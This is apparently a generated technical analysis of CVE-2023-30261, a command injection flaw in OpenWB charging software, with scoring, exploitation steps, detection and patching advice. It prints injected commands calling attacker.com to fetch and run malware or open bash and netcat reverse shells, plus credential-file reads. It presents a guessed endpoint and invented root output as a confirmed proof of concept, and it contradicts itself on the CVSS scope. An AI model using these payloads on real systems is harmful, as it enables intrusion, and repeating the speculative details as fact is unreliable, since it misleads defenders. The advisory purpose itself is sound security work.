CVE-2023-30261
CVE-2023-30261
Weakness (CWE)
CVSS Vector
v3.1- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Description
Command Injection vulnerability in OpenWB 1.6 and 1.7 allows remote attackers to run arbitrary commands via crafted GET request.
Comprehensive Technical Analysis of CVE-2023-30261
CVE ID: CVE-2023-30261 CVSS Score: 9.8 (Critical) Affected Software: OpenWB (Versions 1.6 and 1.7) Vulnerability Type: Command Injection
1. Vulnerability Assessment and Severity Evaluation
CVE-2023-30261 is a critical command injection vulnerability in OpenWB, an open-source software solution for electric vehicle (EV) charging stations. The flaw allows remote unauthenticated attackers to execute arbitrary commands on the underlying system via a crafted HTTP GET request.
Severity Justification (CVSS 9.8 - Critical)
The CVSS v3.1 scoring breakdown is as follows:
- Attack Vector (AV:N) – Network (exploitable remotely)
- Attack Complexity (AC:L) – Low (no special conditions required)
- Privileges Required (PR:N) – None (unauthenticated)
- User Interaction (UI:N) – None (no user action needed)
- Scope (S:C) – Changed (impacts system beyond the vulnerable component)
- Confidentiality (C:H) – High (full system compromise possible)
- Integrity (I:H) – High (arbitrary command execution)
- Availability (A:H) – High (system disruption or takeover)
The 9.8 score reflects the high exploitability and severe impact, making this a top-priority patching candidate for affected organizations.
2. Potential Attack Vectors and Exploitation Methods
Exploitation Mechanism
The vulnerability stems from improper input sanitization in OpenWB’s web interface, where user-supplied input in a GET request is directly passed to a system shell without validation. An attacker can inject OS commands via specially crafted parameters.
Example Exploitation Scenario:
-
Identify Vulnerable Endpoint:
- The flaw likely resides in a PHP or Python-based web handler that processes GET parameters (e.g.,
?action=exec&cmd=...). - The advisory references
eldstal.se, which provides a proof-of-concept (PoC) demonstrating command injection.
- The flaw likely resides in a PHP or Python-based web handler that processes GET parameters (e.g.,
-
Craft Malicious GET Request:
GET /openWB/web/api.php?action=exec&cmd=id HTTP/1.1 Host: vulnerable-openwb-instance- If unsanitized, the
cmdparameter executes theidcommand on the host system.
- If unsanitized, the
-
Execute Arbitrary Commands:
- An attacker could chain commands (e.g.,
;,&&,|) to:- Exfiltrate data (
cat /etc/passwd) - Download malware (
wget http://attacker.com/malware -O /tmp/malware && chmod +x /tmp/malware) - Establish reverse shells (
bash -i >& /dev/tcp/attacker.com/4444 0>&1) - Disable security controls (
iptables -F)
- Exfiltrate data (
- An attacker could chain commands (e.g.,
-
Lateral Movement & Persistence:
- If OpenWB runs with root privileges (common in embedded systems), the attacker gains full system control.
- Persistence mechanisms (e.g., cron jobs, backdoor users) can be deployed.
Attack Surface & Delivery Methods
- Direct Exploitation: Attackers scan for exposed OpenWB instances (e.g., via Shodan, Censys).
- Phishing/Watering Hole: Compromised EV charging portals could redirect users to malicious links.
- Supply Chain Attack: Malicious updates or third-party integrations could exploit the flaw.
3. Affected Systems and Software Versions
Vulnerable Versions:
- OpenWB 1.6
- OpenWB 1.7
Systems at Risk:
- EV Charging Stations running OpenWB software.
- Embedded Linux devices (e.g., Raspberry Pi, industrial controllers) hosting OpenWB.
- Cloud-connected charging infrastructure where OpenWB is exposed to the internet.
Non-Affected Versions:
- OpenWB 1.8+ (patched in PR #2673)
- Custom forks with input sanitization fixes
4. Recommended Mitigation Strategies
Immediate Actions:
-
Apply the Official Patch:
- Upgrade to OpenWB 1.8 or later (GitHub PR #2673).
- If patching is delayed, apply temporary workarounds (see below).
-
Network-Level Protections:
- Restrict Access: Use firewalls to limit OpenWB web interface access to trusted IPs only.
- Disable Remote Access: If possible, disable internet-facing OpenWB instances.
- WAF Rules: Deploy a Web Application Firewall (WAF) (e.g., ModSecurity) to block command injection patterns (e.g.,
;,|,&&).
-
Temporary Workarounds (if patching is not feasible):
- Input Sanitization: Modify the vulnerable endpoint to whitelist allowed commands or use parameterized queries.
- Privilege Reduction: Run OpenWB under a non-root user with minimal permissions.
- Disable Dangerous Features: Remove or restrict access to the vulnerable API endpoint.
-
Monitoring & Detection:
- Log Analysis: Monitor web server logs for suspicious GET requests containing command injection patterns.
- Intrusion Detection: Deploy IDS/IPS (e.g., Snort, Suricata) to detect exploitation attempts.
- Endpoint Protection: Use EDR/XDR solutions to detect post-exploitation activity (e.g., reverse shells, unauthorized processes).
Long-Term Recommendations:
- Secure Development Practices:
- Implement input validation and output encoding in all web interfaces.
- Use least-privilege principles for service accounts.
- Conduct regular security audits and penetration testing.
- Vendor Coordination:
- Ensure automatic updates are enabled for OpenWB deployments.
- Subscribe to vendor security advisories for future vulnerabilities.
- Segmentation:
- Isolate EV charging infrastructure from corporate networks using VLANs or micro-segmentation.
5. Impact on the Cybersecurity Landscape
Broader Implications:
-
Critical Infrastructure Risk:
- OpenWB is used in EV charging stations, which are part of critical energy infrastructure.
- A successful attack could disrupt charging services, leading to financial losses or physical safety risks (e.g., denial of service for emergency vehicles).
-
Supply Chain & Third-Party Risks:
- Many EV charging providers integrate OpenWB into their solutions.
- A single vulnerability could compromise multiple vendors (e.g., via shared libraries or APIs).
-
IoT & Embedded Device Security:
- This vulnerability highlights the lack of security hardening in many IoT/embedded systems.
- Similar flaws exist in other EV charging software (e.g., OpenEVSE, ChargePoint), increasing the attack surface.
-
Regulatory & Compliance Concerns:
- Organizations using OpenWB may violate NIST SP 800-53, ISO 27001, or NERC CIP standards if unpatched.
- GDPR/CCPA risks arise if customer data is exfiltrated.
-
Exploitation in the Wild:
- Given the low complexity of exploitation, script kiddies and APT groups may target this flaw.
- Ransomware operators could use it to encrypt EV charging infrastructure for extortion.
6. Technical Details for Security Professionals
Root Cause Analysis:
- The vulnerability occurs due to improper handling of user input in OpenWB’s web API.
- A GET parameter (likely
cmdor similar) is passed directly to a shell execution function (e.g.,system(),exec(),passthru()in PHP). - No input sanitization or command whitelisting is applied, allowing arbitrary command injection.
Exploitation Proof-of-Concept (PoC):
The following curl command demonstrates exploitation (based on the eldstal.se advisory):
curl "http://<TARGET_IP>/openWB/web/api.php?action=exec&cmd=id"
Expected Output:
{"result":"uid=0(root) gid=0(root) groups=0(root)"}
Malicious Payload Example:
curl "http://<TARGET_IP>/openWB/web/api.php?action=exec&cmd=wget%20http://attacker.com/malware%20-O%20/tmp/malware%20%26%26%20chmod%20%2Bx%20/tmp/malware%20%26%26%20/tmp/malware"
Patch Analysis (GitHub PR #2673):
- The fix introduces input validation by:
- Whitelisting allowed commands (e.g., only specific EV charging operations).
- Escaping shell metacharacters (e.g.,
;,|,&). - Using parameterized functions (e.g.,
escapeshellarg()in PHP).
Detection & Forensics:
-
Log Indicators:
- Unusual GET requests with command injection patterns:
GET /openWB/web/api.php?action=exec&cmd=whoami GET /openWB/web/api.php?action=exec&cmd=nc%20attacker.com%204444%20-e%20/bin/bash - Web server logs showing unexpected command outputs (e.g.,
/etc/passwdcontents).
- Unusual GET requests with command injection patterns:
-
Post-Exploitation Artifacts:
- Suspicious processes (e.g.,
nc,bash,pythonreverse shells). - Unauthorized cron jobs or SSH keys in
~/.ssh/authorized_keys. - Modified system binaries (e.g.,
ld.so.preloadhijacking).
- Suspicious processes (e.g.,
Hardening Recommendations:
- Disable Dangerous PHP Functions:
; php.ini disable_functions = exec,passthru,shell_exec,system - Use AppArmor/SELinux:
- Restrict OpenWB’s file system and network access.
- Implement Rate Limiting:
- Prevent brute-force attacks on the vulnerable endpoint.
Conclusion
CVE-2023-30261 is a critical command injection vulnerability in OpenWB that poses severe risks to EV charging infrastructure. Due to its low attack complexity and high impact, organizations must patch immediately, restrict network access, and monitor for exploitation attempts. The flaw underscores the importance of secure coding practices in IoT and embedded systems, particularly in critical infrastructure sectors.
Recommended Next Steps:
- Patch all OpenWB instances to version 1.8+.
- Isolate vulnerable systems from the internet.
- Deploy WAF/IDS rules to detect and block exploitation attempts.
- Conduct a forensic analysis if compromise is suspected.
For further details, refer to the eldstal.se advisory and GitHub issue #2672.